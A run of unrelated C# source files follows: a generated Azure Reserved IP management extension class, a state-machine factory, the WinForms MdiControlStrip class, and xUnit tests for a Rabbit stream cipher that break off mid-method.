ulong m_RegionHandle; public UUID RegionID { get { return m_RegionID; } } public ulong RegionHandle { get { return m_RegionHandle; } } public RegionHandleReplyEventArgs(UUID regionID, ulong regionHandle) { this.m_RegionID = regionID; this.m_RegionHandle = regionHandle; } } #endregion }
// // Copyright (c) Microsoft and contributors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // // See the License for the specific language governing permissions and // limitations under the License. // // Warning: This code was generated by a tool. // // Changes to this file may cause incorrect behavior and will be lost if the // code is regenerated. using System; using System.Linq; using System.Threading; using System.Threading.Tasks; using Microsoft.WindowsAzure; using Microsoft.WindowsAzure.Management.Network; using Microsoft.WindowsAzure.Management.Network.Models; namespace Microsoft.WindowsAzure { /// <summary> /// The Service Management API includes operations for managing the virtual /// networks for your subscription. (see /// http://msdn.microsoft.com/en-us/library/windowsazure/jj157182.aspx for /// more information) /// </summary> public static partial class ReservedIPOperationsExtensions { /// <summary> /// The Begin Creating Reserved IP operation creates a reserved IP from /// your the subscription. /// </summary> /// <param name='operations'> /// Reference to the /// Microsoft.WindowsAzure.Management.Network.IReservedIPOperations. /// </param> /// <param name='parameters'> /// Required. Parameters supplied to the Begin Creating Reserved IP /// operation. /// </param> /// <returns> /// The response body contains the status of the specified asynchronous /// operation, indicating whether it has succeeded, is inprogress, or /// has failed. Note that this status is distinct from the HTTP status /// code returned for the Get Operation Status operation itself. If /// the asynchronous operation succeeded, the response body includes /// the HTTP status code for the successful request. If the /// asynchronous operation failed, the response body includes the HTTP /// status code for the failed request, and also includes error /// information regarding the failure. /// </returns> public static OperationStatusResponse BeginCreating(this IReservedIPOperations operations, NetworkReservedIPCreateParameters parameters) { return Task.Factory.StartNew((object s) => { return ((IReservedIPOperations)s).BeginCreatingAsync(parameters); } , operations, CancellationToken.None, TaskCreationOptions.None, TaskScheduler.Default).Unwrap().GetAwaiter().GetResult(); } /// <summary> /// The Begin Creating Reserved IP operation creates a reserved IP from /// your the subscription. /// </summary> /// <param name='operations'> /// Reference to the /// Microsoft.WindowsAzure.Management.Network.IReservedIPOperations. /// </param> /// <param name='parameters'> /// Required. Parameters supplied to the Begin Creating Reserved IP /// operation. /// </param> /// <returns> /// The response body contains the status of the specified asynchronous /// operation, indicating whether it has succeeded, is inprogress, or /// has failed. Note that this status is distinct from the HTTP status /// code returned for the Get Operation Status operation itself. If /// the asynchronous operation succeeded, the response body includes /// the HTTP status code for the successful request. If the /// asynchronous operation failed, the response body includes the HTTP /// status code for the failed request, and also includes error /// information regarding the failure. /// </returns> public static Task<OperationStatusResponse> BeginCreatingAsync(this IReservedIPOperations operations, NetworkReservedIPCreateParameters parameters) { return operations.BeginCreatingAsync(parameters, CancellationToken.None); } /// <summary> /// The Begin Deleting Reserved IP operation removes a reserved IP from /// your the subscription. /// </summary> /// <param name='operations'> /// Reference to the /// Microsoft.WindowsAzure.Management.Network.IReservedIPOperations. /// </param> /// <param name='ipName'> /// Required. The name of the reserved IP. /// </param> /// <returns> /// A standard service response including an HTTP status code and /// request ID. /// </returns> public static OperationResponse BeginDeleting(this IReservedIPOperations operations, string ipName) { return Task.Factory.StartNew((object s) => { return ((IReservedIPOperations)s).BeginDeletingAsync(ipName); } , operations, CancellationToken.None, TaskCreationOptions.None, TaskScheduler.Default).Unwrap().GetAwaiter().GetResult(); } /// <summary> /// The Begin Deleting Reserved IP operation removes a reserved IP from /// your the subscription. /// </summary> /// <param name='operations'> /// Reference to the /// Microsoft.WindowsAzure.Management.Network.IReservedIPOperations. /// </param> /// <param name='ipName'> /// Required. The name of the reserved IP. /// </param> /// <returns> /// A standard service response including an HTTP status code and /// request ID. /// </returns> public static Task<OperationResponse> BeginDeletingAsync(this IReservedIPOperations operations, string ipName) { return operations.BeginDeletingAsync(ipName, CancellationToken.None); } /// <summary> /// The Create Reserved IP operation creates a reserved IP from your /// the subscription. /// </summary> /// <param name='operations'> /// Reference to the /// Microsoft.WindowsAzure.Management.Network.IReservedIPOperations. /// </param> /// <param name='parameters'> /// Required. Parameters supplied to the Create Reserved IP operation. /// </param> /// <returns> /// The response body contains the status of the specified asynchronous /// operation, indicating whether it has succeeded, is inprogress, or /// has failed. Note that this status is distinct from the HTTP status /// code returned for the Get Operation Status operation itself. If /// the asynchronous operation succeeded, the response body includes /// the HTTP status code for the successful request. If the /// asynchronous operation failed, the response body includes the HTTP /// status code for the failed request, and also includes error /// information regarding the failure. /// </returns> public static OperationStatusResponse Create(this IReservedIPOperations operations, NetworkReservedIPCreateParameters parameters) { return Task.Factory.StartNew((object s) => { return ((IReservedIPOperations)s).CreateAsync(parameters); } , operations, CancellationToken.None, TaskCreationOptions.None, TaskScheduler.Default).Unwrap().GetAwaiter().GetResult(); } /// <summary> /// The Create Reserved IP operation creates a reserved IP from your /// the subscription. /// </summary> /// <param name='operations'> /// Reference to the /// Microsoft.WindowsAzure.Management.Network.IReservedIPOperations. /// </param> /// <param name='parameters'> /// Required. Parameters supplied to the Create Reserved IP operation. /// </param> /// <returns> /// The response body contains the status of the specified asynchronous /// operation, indicating whether it has succeeded, is inprogress, or /// has failed. Note that this status is distinct from the HTTP status /// code returned for the Get Operation Status operation itself. If /// the asynchronous operation succeeded, the response body includes /// the HTTP status code for the successful request. If the /// asynchronous operation failed, the response body includes the HTTP /// status code for the failed request, and also includes error /// information regarding the failure. /// </returns> public static Task<OperationStatusResponse> CreateAsync(this IReservedIPOperations operations, NetworkReservedIPCreateParameters parameters) { return operations.CreateAsync(parameters, CancellationToken.None); } /// <summary> /// The Delete Reserved IP operation removes a reserved IP from your /// the subscription. /// </summary> /// <param name='operations'> /// Reference to the /// Microsoft.WindowsAzure.Management.Network.IReservedIPOperations. /// </param> /// <param name='ipName'> /// Required. The name of the reserved IP. /// </param> /// <returns> /// The response body contains the status of the specified asynchronous /// operation, indicating whether it has succeeded, is inprogress, or /// has failed. Note that this status is distinct from the HTTP status /// code returned for the Get Operation Status operation itself. If /// the asynchronous operation succeeded, the response body includes /// the HTTP status code for the successful request. If the /// asynchronous operation failed, the response body includes the HTTP /// status code for the failed request, and also includes error /// information regarding the failure. /// </returns> public static OperationStatusResponse Delete(this IReservedIPOperations operations, string ipName) { return Task.Factory.StartNew((object s) => { return ((IReservedIPOperations)s).DeleteAsync(ipName); } , operations, CancellationToken.None, TaskCreationOptions.None, TaskScheduler.Default).Unwrap().GetAwaiter().GetResult(); } /// <summary> /// The Delete Reserved IP operation removes a reserved IP from your /// the subscription. /// </summary> /// <param name='operations'> /// Reference to the /// Microsoft.WindowsAzure.Management.Network.IReservedIPOperations. /// </param> /// <param name='ipName'> /// Required. The name of the reserved IP. /// </param> /// <returns> /// The response body contains the status of the specified asynchronous /// operation, indicating whether it has succeeded, is inprogress, or /// has failed. Note that this status is distinct from the HTTP status /// code returned for the Get Operation Status operation itself. If /// the asynchronous operation succeeded, the response body includes /// the HTTP status code for the successful request. If the /// asynchronous operation failed, the response body includes the HTTP /// status code for the failed request, and also includes error /// information regarding the failure. /// </returns> public static Task<OperationStatusResponse> DeleteAsync(this IReservedIPOperations operations, string ipName) { return operations.DeleteAsync(ipName, CancellationToken.None); } /// <summary> /// The Get Reserved IP operation retrieves the details for the virtual /// IP reserved for the subscription. /// </summary> /// <param name='operations'> /// Reference to the /// Microsoft.WindowsAzure.Management.Network.IReservedIPOperations. /// </param> /// <param name='ipName'> /// Required. The name of the reserved IP to retrieve. /// </param> /// <returns> /// A reserved IP associated with your subscription. /// </returns> public static NetworkReservedIPGetResponse Get(this IReservedIPOperations operations, string ipName) { return Task.Factory.StartNew((object s) => { return ((IReservedIPOperations)s).GetAsync(ipName); } , operations, CancellationToken.None, TaskCreationOptions.None, TaskScheduler.Default).Unwrap().GetAwaiter().GetResult(); } /// <summary> /// The Get Reserved IP operation retrieves the details for the virtual /// IP reserved for the subscription. /// </summary> /// <param name='operations'> /// Reference to the /// Microsoft.WindowsAzure.Management.Network.IReservedIPOperations. /// </param> /// <param name='ipName'> /// Required. The name of the reserved IP to retrieve. /// </param> /// <returns> /// A reserved IP associated with your subscription. /// </returns> public static Task<NetworkReservedIPGetResponse> GetAsync(this IReservedIPOperations operations, string ipName) { return operations.GetAsync(ipName, CancellationToken.None); } /// <summary> /// The List Reserved IP operation retrieves all of the virtual IPs /// reserved for the subscription. /// </summary> /// <param name='operations'> /// Reference to the /// Microsoft.WindowsAzure.Management.Network.IReservedIPOperations. /// </param> /// <returns> /// The response structure for the Server List operation. /// </returns> public static NetworkReservedIPListResponse List(this IReservedIPOperations operations) { return Task.Factory.StartNew((object s) => { return ((IReservedIPOperations)s).ListAsync(); } , operations, CancellationToken.None, TaskCreationOptions.None, TaskScheduler.Default).Unwrap().GetAwaiter().GetResult(); } /// <summary> /// The List Reserved IP operation retrieves all of the virtual IPs /// reserved for the subscription. /// </summary> /// <param name='operations'> /// Reference to the /// Microsoft.WindowsAzure.Management.Network.IReservedIPOperations. /// </param> /// <returns> /// The response structure for the Server List operation. /// </returns> public static Task<NetworkReservedIPListResponse> ListAsync(this IReservedIPOperations operations) { return operations.ListAsync(CancellationToken.None); } } }
using System; using System.Collections.Generic; using System.Linq; using Hps.StateMachine; using Hps.StateMachine.Triggers; using Hps.NetworkMachine; namespace Hps.Construction { public class Factory { private readonly ILogger _logger; private readonly Project _project; private readonly IRnd _rnd; public Factory( ILogger logger, IRnd rnd, Project project) { _logger = logger; _rnd = rnd; _project = project; } public Hps.Machine CreateMachine( Container container, string name, string type) { return _project.Machines.FirstOrDefault(m => m.Name == type) switch { null => throw new Exception($"machine {type} is unknown"), { } definition => CreateMachine(definition, name, container) }; } public IReadOnlyCollection<string> GetNetworkNames() => _project.Networks.Select(n => n.Name).ToList().AsReadOnly(); public IReadOnlyCollection<Hps.Machine> CreateNetwork( Container container, string name) { return _project.Networks.FirstOrDefault(m => m.Name == name) switch { null => throw new Exception($"network {name} is unknown"), { } definition => definition.Machines.Select(m => { var machine = CreateMachine(container, m.Name, m.Machine); foreach (var p in m.Properties) { var property = machine.Property(p.Name); if (property == null) throw new Exception($"property {p.Name} is unknown"); SetPropertyValue(property, p.Value, machine); } return machine; }).ToList().AsReadOnly() }; } private void SetPropertyValue( Hps.Property property, Value value, Hps.Machine machine) { switch (property.Type) { case "String": property.Set(value.String); break; case "Integer": property.Set(value.Integer); break; case "Float": property.Set(value.Double); break; case "Boolean": property.Set(value.Boolean); break; case "Activation": property.Set((object)CreateTrigger( (Hps.StateMachine.Machine)machine, value)); break; default: throw new HpsException( $"property type {property.Type} is not supported"); } } private Hps.Machine CreateMachine( Machine machine, string name, Container container) { return machine.Type switch { "state-machine" => CreateStateMachine(machine, name, container), "network_machine" => CreateNetworkMachine(machine, name, container), _ => throw new HpsException( $"machine type {machine.Type} is not supported") }; } private Action? CreateAction( Hps.StateMachine.Machine machine, Value value) { return value.GetStringOrEmpty("action") switch { "Decrement" => new Decrement( _logger, machine, value.GetStringOrEmpty("property"), value.GetDoubleOrZero("value"), value.GetIntegerOrZero("value"), value.GetStringOrEmpty("comment")), "Increment" => new Increment( _logger, machine, value.GetStringOrEmpty("property"), value.GetDoubleOrZero("value"), value.GetIntegerOrZero("value"), value.GetStringOrEmpty("comment")), _ => null }; } private Hps.Machine CreateStateMachine( Machine machine, string name, Container container) { var structure = machine.Structure; var states = structure["states"].Items .Select(v => v.String).ToList(); var initialState = structure["initial"].String; var stateMachine = new Hps.StateMachine.Machine( container, name, machine.Name, states, initialState); foreach (var state in structure["states"].Items) { var st = stateMachine.FindState(state.GetStringOrEmpty("name")); if (st == null) continue; foreach (var action in state.GetItemsOrEmpty("enter")) { var instance = CreateAction(stateMachine, action); if (instance == null) continue; st.Entering += (a1, a2) => instance.Invoke(); } foreach (var action in state.GetItemsOrEmpty("leave")) { var instance = CreateAction(stateMachine, action); if (instance == null) continue; st.Leaving += (a1, a2) => instance.Invoke(); } } foreach (var p in machine.Properties) stateMachine.AddProperty( new Hps.Property( p.Name, p.Type, p.Comment)); foreach (var from in structure.GetItemsOrEmpty("transitions")) { var state = stateMachine.FindState(from.Name); if (state == null) throw new Exception($"state {from.Name} is unknown"); var toStateName = from.Items.First().Name; var to = stateMachine.FindState(toStateName); if (to == null) throw new Exception($"state {toStateName} is unknown"); foreach (var tr in from.Items.First().Items) { var trigger = CreateTrigger(stateMachine, tr); state.AddTransition(to, trigger); } } if (container != null) container.Add(stateMachine); return stateMachine; } private Hps.Machine CreateNetworkMachine( Machine machine, string name, Container container) { var networkMachine = new Hps.NetworkMachine.Machine(name, machine.Name); foreach (var p in machine.Properties) { networkMachine.AddProperty( new Hps.Property( p.Name, p.Type, p.Comment)); } var network = machine.Structure.getStringOrEmpty("network"); if (network != "") CreateNetwork(networkMachine, network); if (container != null) container.Add(networkMachine); return networkMachine; } private ITrigger CreateTrigger(IMachine machine, Value value) => value["type"].String switch { "idle" => (ITrigger)new Idle(value.GetStringOrEmpty("comment")), "deterministic" => new Deterministic( value["parameter"].Double, value.GetStringOrEmpty("comment")), "probabilistic" => value["distribution"].String switch { "exponential" => new Exponential( _rnd, value["parameter"].Double, value.GetStringOrEmpty("comment")), _ => throw new NotSupportedException() }, "property" => new Hps.StateMachine.Triggers.Property( value["property"].String, value.GetStringOrEmpty("comment"), machine), _ => throw new NotSupportedException() }; } }
//------------------------------------------------------------------------------ // <copyright file="MDIControlStrip.cs" company="Microsoft"> // Copyright (c) Microsoft Corporation. All rights reserved. // </copyright> //------------------------------------------------------------------------------ namespace System.Windows.Forms { using System; using System.Security; using System.ComponentModel; using System.Drawing; using System.Windows.Forms; using System.Diagnostics; using System.Runtime.InteropServices; using System.Runtime.Versioning; /// <devdoc> this is the toolstrip used for merging the [:)] [_][#][X] buttons onto an /// mdi parent when an MDI child is maximized. /// </devdoc> internal class MdiControlStrip : MenuStrip { private ToolStripMenuItem system; private ToolStripMenuItem close; private ToolStripMenuItem minimize; private ToolStripMenuItem restore; private MenuStrip mergedMenu; private IWin32Window target; /// <devdoc> target is ideally the MDI Child to send the system commands to. /// although there's nothing MDI child specific to it... you could have this /// a toplevel window. /// </devdoc> public MdiControlStrip(IWin32Window target) { IntPtr hMenu= UnsafeNativeMethods.GetSystemMenu(new HandleRef(this, Control.GetSafeHandle(target)), /*bRevert=*/false); this.target = target; // The menu item itself takes care of enabledness and sending WM_SYSCOMMAND messages to the target. minimize = new ControlBoxMenuItem(hMenu, NativeMethods.SC_MINIMIZE, target); close = new ControlBoxMenuItem(hMenu, NativeMethods.SC_CLOSE, target); restore = new ControlBoxMenuItem(hMenu, NativeMethods.SC_RESTORE, target); // The dropDown of the system menu is the one that talks to native. system = new SystemMenuItem(); // However in the event that the target handle changes we have to push the new handle into everyone. Control controlTarget = target as Control; if (controlTarget != null) { controlTarget.HandleCreated += new EventHandler(OnTargetWindowHandleRecreated); controlTarget.Disposed += new EventHandler(OnTargetWindowDisposed); } // add in opposite order to how you want it merged this.Items.AddRange(new ToolStripItem[] { minimize, restore,close, system }); this.SuspendLayout(); foreach (ToolStripItem item in this.Items) { item.DisplayStyle = ToolStripItemDisplayStyle.Image; item.MergeIndex = 0; item.MergeAction = MergeAction.Insert; item.Overflow = ToolStripItemOverflow.Never; item.Alignment = ToolStripItemAlignment.Right; item.Padding = Padding.Empty; } // set up the sytem menu system.Image = GetTargetWindowIcon(); system.Alignment = ToolStripItemAlignment.Left; system.DropDownOpening += new EventHandler(OnSystemMenuDropDownOpening); system.ImageScaling = ToolStripItemImageScaling.None; system.DoubleClickEnabled = true; system.DoubleClick += new EventHandler(OnSystemMenuDoubleClick); system.Padding = Padding.Empty; system.ShortcutKeys = Keys.Alt | Keys.OemMinus; this.ResumeLayout(false); } #region Buttons /* Unused public ToolStripMenuItem System { get { return system; } } */ public ToolStripMenuItem Close { get { return close; } } /* Unused public ToolStripMenuItem Minimize { get { return minimize; } } public ToolStripMenuItem Restore { get { return restore; } } */ #endregion internal MenuStrip MergedMenu { get { return mergedMenu; } set { mergedMenu = value; } } /* PERF: consider shutting off layout #region ShutOffLayout protected override void OnLayout(LayoutEventArgs e) { return; // if someone attempts } protected override Size GetPreferredSize(Size proposedSize) { return Size.Empty; } #endregion */ [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Security", "CA2106:SecureAsserts")] [ResourceExposure(ResourceScope.Machine)] [ResourceConsumption(ResourceScope.Machine)] private Image GetTargetWindowIcon() { Image systemIcon = null; IntPtr hIcon = UnsafeNativeMethods.SendMessage(new HandleRef(this, Control.GetSafeHandle(target)), NativeMethods.WM_GETICON, NativeMethods.ICON_SMALL, 0); IntSecurity.ObjectFromWin32Handle.Assert(); try { Icon icon = (hIcon != IntPtr.Zero) ? Icon.FromHandle(hIcon) : Form.DefaultIcon; Icon smallIcon = new Icon(icon, SystemInformation.SmallIconSize); systemIcon = smallIcon.ToBitmap(); smallIcon.Dispose(); } finally { CodeAccessPermission.RevertAssert(); } return systemIcon; } protected internal override void OnItemAdded(ToolStripItemEventArgs e) { base.OnItemAdded(e); Debug.Assert(Items.Count <= 4, "Too many items in the MDIControlStrip. How did we get into this situation?"); } private void OnTargetWindowDisposed(object sender, EventArgs e) { UnhookTarget(); target = null; } private void OnTargetWindowHandleRecreated(object sender, EventArgs e) { // in the case that the handle for the form is recreated we need to set // up the handles to point to the new window handle for the form. system.SetNativeTargetWindow(target); minimize.SetNativeTargetWindow(target); close.SetNativeTargetWindow(target); restore.SetNativeTargetWindow(target); IntPtr hMenu= UnsafeNativeMethods.GetSystemMenu(new HandleRef(this, Control.GetSafeHandle(target)), /*bRevert=*/false); system.SetNativeTargetMenu(hMenu); minimize.SetNativeTargetMenu(hMenu); close.SetNativeTargetMenu(hMenu); restore.SetNativeTargetMenu(hMenu); // clear off the System DropDown. if (system.HasDropDownItems) { // next time we need one we'll just fetch it fresh. system.DropDown.Items.Clear(); system.DropDown.Dispose(); } system.Image = GetTargetWindowIcon(); } private void OnSystemMenuDropDownOpening(object sender, EventArgs e) { if (!system.HasDropDownItems && (target != null)) { system.DropDown = ToolStripDropDownMenu.FromHMenu(UnsafeNativeMethods.GetSystemMenu(new HandleRef(this, Control.GetSafeHandle(target)), /*bRevert=*/false), target); } else if (MergedMenu == null) { system.DropDown.Dispose(); } } private void OnSystemMenuDoubleClick(object sender, EventArgs e) { Close.PerformClick(); } protected override void Dispose(bool disposing) { if (disposing) { UnhookTarget(); target = null; } base.Dispose(disposing); } private void UnhookTarget() { if (target != null) { Control controlTarget = target as Control; if (controlTarget != null) { controlTarget.HandleCreated -= new EventHandler(OnTargetWindowHandleRecreated); controlTarget.Disposed -= new EventHandler(OnTargetWindowDisposed); } target = null; } } // when the system menu item shortcut is evaluated - pop the dropdown internal class ControlBoxMenuItem : ToolStripMenuItem { internal ControlBoxMenuItem(IntPtr hMenu, int nativeMenuCommandId, IWin32Window targetWindow) : base(hMenu, nativeMenuCommandId, targetWindow) { } internal override bool CanKeyboardSelect { get { return false; } } } // when the system menu item shortcut is evaluated - pop the dropdown internal class SystemMenuItem : ToolStripMenuItem { public SystemMenuItem(){ } protected internal override bool ProcessCmdKey(ref Message m, Keys keyData) { if (Visible && ShortcutKeys == keyData) { ShowDropDown(); this.DropDown.SelectNextToolStripItem(null, true); return true; } return base.ProcessCmdKey(ref m, keyData); } protected override void OnOwnerChanged(EventArgs e) { if (HasDropDownItems && DropDown.Visible) { HideDropDown(); } base.OnOwnerChanged(e); } } } }
using System; using System.IO; using System.Security.Cryptography; using System.Reflection; using System.Collections.Generic; using System.Globalization; using System.Text; using Xunit; using Medo.Security.Cryptography; using System.Diagnostics; using Xunit.Abstractions; namespace Tests.Medo.Security.Cryptography; public class RabbitManagedTests { public RabbitManagedTests(ITestOutputHelper output) => Output = output; private readonly ITestOutputHelper Output; [Theory(DisplayName = "RabbitManaged: Test Vectors")] [InlineData("VectorA1.txt")] [InlineData("VectorA2.txt")] [InlineData("VectorA3.txt")] [InlineData("VectorA4.txt")] [InlineData("VectorA5.txt")] [InlineData("VectorA6.txt")] [InlineData("VectorB1.txt")] [InlineData("VectorB2.txt")] [InlineData("VectorB3.txt")] public void Vectors(string fileName) { RetrieveVectors(fileName, out var key, out var iv, out var dataQueue); using var ct = new MemoryStream(); using var transform = new RabbitManaged().CreateEncryptor(key, iv); using var cs = new CryptoStream(ct, transform, CryptoStreamMode.Write); var n = 0; while (dataQueue.Count > 0) { var entry = dataQueue.Dequeue(); var index = entry.Key; var expectedBytes = entry.Value; while (n <= index) { cs.Write(new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }); // hardcoded to 16-bytes n += 16; } cs.Flush(); var cipherBytes = new byte[16]; Array.Copy(ct.ToArray(), n - 16, cipherBytes, 0, 16); // not efficient but good enough for test Assert.Equal(BitConverter.ToString(expectedBytes), BitConverter.ToString(cipherBytes)); } } [Theory(DisplayName = "RabbitManaged: Text")] [InlineData("23C2731E8B5469FD8DABB5BC592A0F3A", "712906405EF03201", "1AE2D4EDCF9B6063B00FD6FDA0B223ADED157E77031CF0440B", "Rabbit stream cipher test")] [InlineData("0EA30464E88F321047ACCCFED2AC18F0", "CCEBA07AE8B1FBE6", "747ED2055DA707D9A04F717F28F8A010DD8A84F31EE3262745", "Rabbit stream cipher test")] [InlineData("BD9E9C4E91C9B2858741C46AA91A11DE", "2374EC9C1026B41C", "81FDD1CEF6549AA55032B45197B22F0A4A043B59BE7084CA02", "Rabbit stream cipher test")] public void Examples(string keyHex, string ivHex, string cipherHex, string plainText) { var key = GetBytes(keyHex); var iv = GetBytes(ivHex); var cipherBytes = GetBytes(cipherHex); var ct = Encrypt(new RabbitManaged(), key, iv, Encoding.ASCII.GetBytes(plainText)); Assert.Equal(BitConverter.ToString(cipherBytes), BitConverter.ToString(ct)); var pt = Decrypt(new RabbitManaged(), key, iv, cipherBytes); Assert.Equal(plainText, Encoding.ASCII.GetString(pt)); } [Theory(DisplayName = "RabbitManaged: Padding full blocks")] [InlineData(PaddingMode.None)] [InlineData(PaddingMode.PKCS7)] [InlineData(PaddingMode.Zeros)] [InlineData(PaddingMode.ANSIX923)] [InlineData(PaddingMode.ISO10126)] public void PaddingFull(PaddingMode padding) { var key = new byte[16]; RandomNumberGenerator.Fill(key); var iv = new byte[8]; RandomNumberGenerator.Fill(iv); var data = new byte[48]; RandomNumberGenerator.Fill(data); // full blocks var algorithm = new RabbitManaged() { Padding = padding, }; var ct = Encrypt(algorithm, key, iv, data); var pt = Decrypt(algorithm, key, iv, ct); Assert.Equal(data.Length, pt.Length); Assert.Equal(BitConverter.ToString(data), BitConverter.ToString(pt)); } [Theory(DisplayName = "RabbitManaged: Padding partial blocks")] [InlineData(PaddingMode.PKCS7)] [InlineData(PaddingMode.Zeros)] [InlineData(PaddingMode.ANSIX923)] [InlineData(PaddingMode.ISO10126)] public void PaddingPartial(PaddingMode padding) { var key = new byte[16]; RandomNumberGenerator.Fill(key); var iv = new byte[8]; RandomNumberGenerator.Fill(iv); var data = new byte[42]; RandomNumberGenerator.Fill(data); var algorithm = new RabbitManaged() { Padding = padding }; var ct = Encrypt(algorithm, key, iv, data); var pt = Decrypt(algorithm, key, iv, ct); Assert.Equal(data.Length, pt.Length); Assert.Equal(BitConverter.ToString(data), BitConverter.ToString(pt)); } [Theory(DisplayName = "RabbitManaged: Only CBC supported")] [InlineData(CipherMode.ECB)] [InlineData(CipherMode.CFB)] [InlineData(CipherMode.CTS)] public void OnlyCbcSupported(CipherMode mode) { Assert.Throws<CryptographicException>(() => { var _ = new RabbitManaged() { Mode = mode }; }); } [Theory(DisplayName = "RabbitManaged: Large Final Block")] [InlineData(PaddingMode.None)] [InlineData(PaddingMode.PKCS7)] [InlineData(PaddingMode.Zeros)] [InlineData(PaddingMode.ANSIX923)] [InlineData(PaddingMode.ISO10126)] public void LargeFinalBlock(PaddingMode padding) { var crypto = new RabbitManaged() { Padding = padding }; crypto.GenerateKey(); crypto.GenerateIV(); var text = "This is a final block wider than block size."; // more than 128 bits of data var bytes = Encoding.ASCII.GetBytes(text); using var encryptor = crypto.CreateEncryptor(); var ct = encryptor.TransformFinalBlock(bytes, 0, bytes.Length); Assert.Equal(padding == PaddingMode.None ? bytes.Length : 48, ct.Length); using var decryptor = crypto.CreateDecryptor(); var pt = decryptor.TransformFinalBlock(ct, 0, ct.Length); Assert.Equal(bytes.Length, pt.Length); Assert.Equal(text, Encoding.ASCII.GetString(pt)); } [Theory(DisplayName = "RabbitManaged: BlockSizeRounding")] [InlineData(PaddingMode.None)] [InlineData(PaddingMode.PKCS7)] [InlineData(PaddingMode.Zeros)] [InlineData(PaddingMode.ANSIX923)] [InlineData(PaddingMode.ISO10126)] public void BlockSizeRounding(PaddingMode padding) { var key = new byte[16]; RandomNumberGenerator.Fill(key); var iv = new byte[8]; RandomNumberGenerator.Fill(iv); for (int n = 0; n < 50; n++) { var data = new byte[n]; RandomNumberGenerator.Fill(data); if ((padding == PaddingMode.Zeros) && (data.Length > 0)) { data[^1] = 1; } // zero padding needs to have the last number non-zero var algorithm = new RabbitManaged() { Padding = padding, }; var expectedCryptLength = padding switch { PaddingMode.None => data.Length, PaddingMode.PKCS7 => ((data.Length / 16) + 1) * 16, PaddingMode.Zeros => (data.Length / 16 + (data.Length % 16 > 0 ? 1 : 0)) * 16, PaddingMode.ANSIX923 => ((data.Length / 16) + 1) * 16, PaddingMode.ISO10126 => ((data.Length / 16) + 1) * 16, _ => -1 }; var ct = Encrypt(algorithm, key, iv, data); Assert.Equal(expectedCryptLength, ct.Length); var pt = Decrypt(algorithm, key, iv, ct); Assert.Equal(data.Length, pt.Length); Assert.Equal(BitConverter.ToString(data), BitConverter.ToString(pt)); } } [Theory(DisplayName = "RabbitManaged: Random Testing")] [InlineData(PaddingMode.None)] [InlineData(PaddingMode.PKCS7)] [InlineData(PaddingMode.Zeros)] [InlineData(PaddingMode.ANSIX923)] [InlineData(PaddingMode.ISO10126)] public void Randomised(PaddingMode padding) { for (var n = 0; n < 1000; n++) { var crypto = new RabbitManaged() { Padding = padding }; crypto.GenerateKey(); crypto.GenerateIV(); var data = new byte[Random.Shared.Next(100)]; RandomNumberGenerator.Fill(data); if ((padding == PaddingMode.Zeros) && (data.Length > 0)) { data[^1] = 1; } // zero padding needs to have the last number non-zero var ct = Encrypt(crypto, crypto.Key, crypto.IV, data); if (padding is PaddingMode.None or PaddingMode.Zeros) { Assert.True(data.Length <= ct.Length); } else { Assert.True(data.Length < ct.Length); } var pt = Decrypt(crypto, crypto.Key, crypto.IV, ct); Assert.Equal(data.Length, pt.Length); Assert.Equal(BitConverter.ToString(data), BitConverter.ToString(pt)); } } [Theory(DisplayName = "RabbitManaged: Encrypt/Decrypt")] [InlineData(PaddingMode.None)] [InlineData(PaddingMode.PKCS7)] [InlineData(PaddingMode.Zeros)] [InlineData(PaddingMode.ANSIX923)] [InlineData(PaddingMode.ISO10126)] public void EncryptDecrypt(PaddingMode padding) { var crypto = new RabbitManaged() { Padding = padding }; crypto.GenerateKey(); crypto.GenerateIV(); var bytes = RandomNumberGenerator.GetBytes(1024); var bytesEnc = new byte[bytes.Length]; var bytesDec = new byte[bytes.Length]; var sw = Stopwatch.StartNew(); using var encryptor = crypto.CreateEncryptor(); using var decryptor = crypto.CreateDecryptor(); for (var n = 0; n < 1024; n++) { encryptor.TransformBlock(bytes, 0, bytes.Length, bytesEnc, 0); decryptor.TransformBlock(bytesEnc, 0, bytesEnc.Length, bytesDec, 0); } var lastBytesEnc = encryptor.TransformFinalBlock(new byte[10], 0, 10); var lastBytesDec = decryptor.TransformFinalBlock(lastBytesEnc, 0, lastBytesEnc.Length); sw.Stop(); Output.WriteLine($"Duration: {sw.ElapsedMilliseconds} ms"); } #region Private helper private static byte[] Encrypt(SymmetricAlgorithm algorithm, byte[] key, byte[] iv, byte[] pt) { using var ms = new MemoryStream(); using (var transform = algorithm.CreateEncryptor(key, iv)) { using var cs = new CryptoStream(ms, transform, CryptoStreamMode.Write); cs.Write(pt, 0, pt.Length); } return ms.ToArray(); } private static byte[] Decrypt(SymmetricAlgorithm algorithm, byte[] key, byte[] iv, byte[] ct) { using var ctStream = new MemoryStream(ct); using var transform = algorithm.CreateDecryptor(key, iv); using var cs = new CryptoStream(ctStream, transform, CryptoStreamMode.Read); using var ms = new MemoryStream(); cs.CopyTo(ms); return ms.ToArray(); } private static void RetrieveVectors(string fileName, out byte[] key, out byte[] iv, out Queue<KeyValuePair<int, byte[]>> data) { using var reader = new StreamReader(Assembly.GetExecutingAssembly().GetManifestResourceStream("Tests.Medo._Resources.Security.Cryptography.Rabbit." + fileName)); key = GetLineBytes(reader.ReadLine().Trim(), out var headerText); if (!headerText.Equals("KEY", StringComparison.InvariantCultureIgnoreCase)) { throw new InvalidDataException(); } data = new Queue<KeyValuePair<int, byte[]>>(); iv = GetLineBytes(reader.ReadLine().Trim(), out var ivHeader); if (!ivHeader.Equals("IV", StringComparison.InvariantCultureIgnoreCase)) { // it's not IV var location = int.Parse(ivHeader, NumberStyles.HexNumber); data.Enqueue(new KeyValuePair<int, byte[]>(location, iv)); iv = null; } while (!reader.EndOfStream) { var line = reader.ReadLine(); if (line.Length > 0) { var bytes = GetLineBytes(line, out var locationText); var location = int.Parse(locationText, NumberStyles.HexNumber); data.Enqueue(new KeyValuePair<int, byte[]>(location, bytes)); } } } private static byte[] GetLineBytes(string lineText, out string headerText) { var parts = lineText.Split(":"); if (parts.Length != 2) { throw new InvalidDataException(); } headerText = parts[0].Split(" ", 